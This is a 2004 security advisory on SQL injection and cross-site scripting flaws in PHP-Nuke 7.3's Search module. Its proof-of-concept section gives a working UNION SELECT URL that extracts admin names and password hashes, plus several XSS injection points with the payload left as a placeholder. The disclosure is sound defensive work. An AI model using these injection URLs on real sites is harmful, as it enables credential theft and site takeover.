PHPNuke Multiple Input Validation Vulnerabilities

BID:10749

Info

PHPNuke Multiple Input Validation Vulnerabilities

Bugtraq ID: 10749
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 19 2004 12:00AM
Updated: Jul 19 2004 12:00AM
Credit: Janek Vind <[email protected]> disclosed these vulnerabilities.
Vulnerable: Francisco Burzi PHP-Nuke 7.3
Not Vulnerable:

Discussion

PHPNuke Multiple Input Validation Vulnerabilities

It is reported that PHPNuke is susceptible to multiple cross-site scripting and SQL injection vulnerabilities.

This can allow for theft of cookie-based authentication credentials and other attacks. Attackers may supply malicious parameters to manipulate the structure and logic of SQL queries.

These vulnerabilities were reported in version 7.3 of PHPNuke. Other versions may also be affected.

Exploit / POC

PHPNuke Multiple Input Validation Vulnerabilities

No exploit is required.

The following proof of concept examples are available:
http://www.example.com/nuke73/modules.php?name=Search&type=stories&query=f00bar&category=-1
&categ=%20and%201=2%20UNION%20SELECT%200,0,aid,pwd,0,0,0,0,0,0%20from%20nuke_authors/*

http://www.example.com/nuke73/modules.php?name=Search&sid=[xss
code here]
http://www.example.com/nuke73/modules.php?name=Search&query=*&max=[xss
code here]
http://www.example.com/nuke73/modules.php?name=Search&query=waraxe&sel1=[xss
code here]&type=comments
http://www.example.com/nuke73/modules.php?name=Search&a=6&query=*&match=[xss
code here]
http://www.example.com/modules.php?name=Search&query=*&mod3=[xss
code here]

Solution / Fix

PHPNuke Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PHPNuke Multiple Input Validation Vulnerabilities

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